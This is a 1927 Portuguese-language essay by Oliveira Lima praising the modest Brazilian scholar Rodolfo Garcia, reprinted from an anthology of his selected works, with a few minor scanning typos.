Oliveira Lima
RODOLFO GARCIA
Eu era rapaz quando Coquelin esteve pela primeira vez em Lisboa e me deleitou com as obras-primas do incomparável teatro francês, desde as Précieuses Ridicules até o Marquês de la Seiglière, passando pelo Gringoire de Banville. Festejaram-no naturalmente muito e no teatro de Dona Maria II, então teatro normal, deram várias representações de peças escolhidas com o fim de mostrar ao grande artista francês o valor da interpretação portuguesa pela companhia a cuja frente se achavam Brazão e os Rosas. Uma dessas peças foi Hamlet, na tradução do nosso patrício José Antônio de Freitas, peça muito da predileção de Brazão, que estudara profundamente o personagem e criara com êle um dos belos tipos na sua galeria dramática. Antônio Pedro, o extraordinário ator, todo espontaneidade e todo gênio, tinha na tragédia de Shakespeare um pequeno papel, o que em linguagem teatral se chama, se bem me recordo, um rábula. Era o do coveiro, que no último ato disserta cinicamente com o príncipe melancólico sobre a vida humana a propósito da caveira de Yorick.
Antônio Pedro fugia a apresentações e não pocurara conhecer Coquelin. Este, porém, ficara impressionado com o seu jogo cênico e depois de felicitar calorosamente Hamlet, Ofélia, o rei, Polônio, Laertes e os demais, observou.
Quem é aquele ator que fêz de coveiro? Voilà un artiste!
Lembrei-me deste incidente ao receber recentemente uma carta. Temos no Rio de Janeiro um erudito de quem pouco se fala porque êle se não mete à cara de ninguém. É o meu conterrâneo Rodolfo Garcia, que primeiro conheci por intermédio de Alfredo de Carvalho, que sabia apreciá-lo. Contribuí para que o Instituto Histórico, organização cuja benemerência não cesso de proclamar, editasse o seu dicionário de termos pernambucanos, contribuição valiosa para a coleção de brasileirismos que deverão figurar no léxico em preparação pela Academia. Com essa e outras publicações do mesmo gênero o Instituto Histórico, que um estrangeiro de cultura me escrevia, ao regressar do Brasil, ser a nossa principal (foremost) instituição científica, também tomou a dianteira no que diz respeito a filologia nacional. Esse estrangeiro, emitindo na referida carta o voto muito razoável e que por isso mesmo se não realizará, de que Rodolfo Garcia viesse aos Estados Unidos no ano próximo como um dos nossos representantes ao Congresso dos Americanistas, dizia-me que de todos os scholars com quem se encontrara no Brasil e alguns dos quais, como Vicente Licínio Cardoso, ficara estimando deveras, Rodolfo Garcia fora o que mais o encantara pela sua eficiência de saber, objetividade d’espírito e inteligência crítica, ao mesmo tempo que pela sua personalidade modesta e amável.
Não faço mais do que traduzir suas palavras. He is thoroughly soitnd — acrescentava, o que equivale a declará-lo "são até o âmago", e não é sem uma ponta de malícia que confessava experimentar sempre verdadeira alegria cm conversar com êlc porque, no seu caso, não precisava estar de pé atrás contra o sestro oratório que tão abundantemente figura na nossa idiossincrasia. Rodolfo Garcia não é homem de frases grandiloqüentes, nem de gestos igualmente grandiloqüentes, nem de culto de considerações estritamente externas, sim de uma apreciação singela e fina na qual não entram o lirismo tão costumeiro nem os preconceitos igualmente costumeiros e ditados em muitos casos pela inveja.
Eu não faço mais do que estar acompanhando e, portanto, aplaudindo o excelente juízo que tão cabalmente soube elaborar o meu amigo, que não se demorou no Brasil mais do que meses, sobre um espírito que não goza da reputação que merece e que, entretanto, se poderia definir: VoiUi un erudit! Os seus próprios predicados converteram-no contudo, na frase precisa e feliz do meu amigo, num outsider na vida brasileira, no sentido descrito por esse estrangeiro (e os estrangeiros às vezes têm uma percepção mais penetrante e mais apurada dos fenômenos da vida de um povo do que os próprios nacionais quando interpretam objetivamente semelhantes fenômenos históricos resultantes de causas étnicas e morais) de ser Rodolfo Garcia uma figura quase patética — o patético em inglês tem uma acepção menos acentuada do que em português — pois que seu mérito é superior à sua reputação.
Vive numa relativa pobreza e num meio superficial sem ensejo para viajar nem para tratar fora com gente da sua esfera intelectual e recebendo no seu país escasso ou nenhum louvor pelos seus talentos.
O meu amigo dava a sua explicação do caso, a qual pode não agradar à nossa vaidade nacionalista, mas que é franca e leal.
O Brasil em matéria de cultura ainda está em demasia atrasado para honrar devidamente a genuína erudição ou a valia científica, a menos que esta não seja capaz de imediata aplicação prática da espécie mais concreta (foi o caso felizmente de Osvaldo Cruz) ou que não seja entusiasticamente proclamada pelo mundo estrangeiro, ao qual o Brasil ainda se deixa subordinar com relação à apreciação dos seus valores culturais.
Este artigo quase não é meu, tanto me tenho valido das opiniões de juízos do meu esclarecido amigo estrangeiro, mas não só este pode com mais autoridade c mais isenção neste caso formular sua crítica, sem que o prendessem a Rodolfo Garcia ant riores laços de amizade, como eu não poderia dizer tão bem.
O Instituto Histórico agiu uma vez mais com acerto, chamando ao seu serviço ativo o erudito pernambucano que hoje dirige a sua biblioteca e, ao mesmo tempo, que ministra sábias informações a quem o consulta, prepara os comentários com que vai enriquecer a nova edição da História Geral de Varnhagen, após aqueles com que ilustrou a sua edição de Fernão Cardim. Max Fleiuss deu nova prova da sua competência administrativa e da sua aptidão organizadora, qualidades orientadas pelo grande amor à instituição, de que hoje é o melhor da alma e coração, confiando a Rodolfo Garcia um tão importante papel na vida da associação tão representativa do nosso desenvolvimento histórico. O erudito assim ficou sendo um dos seus esteios mais sólidos.
Lenox, setembro de 1927
Fonte: Oliveira Lima – Obra Seleta – Conselho Federal de Cultura, 1971.
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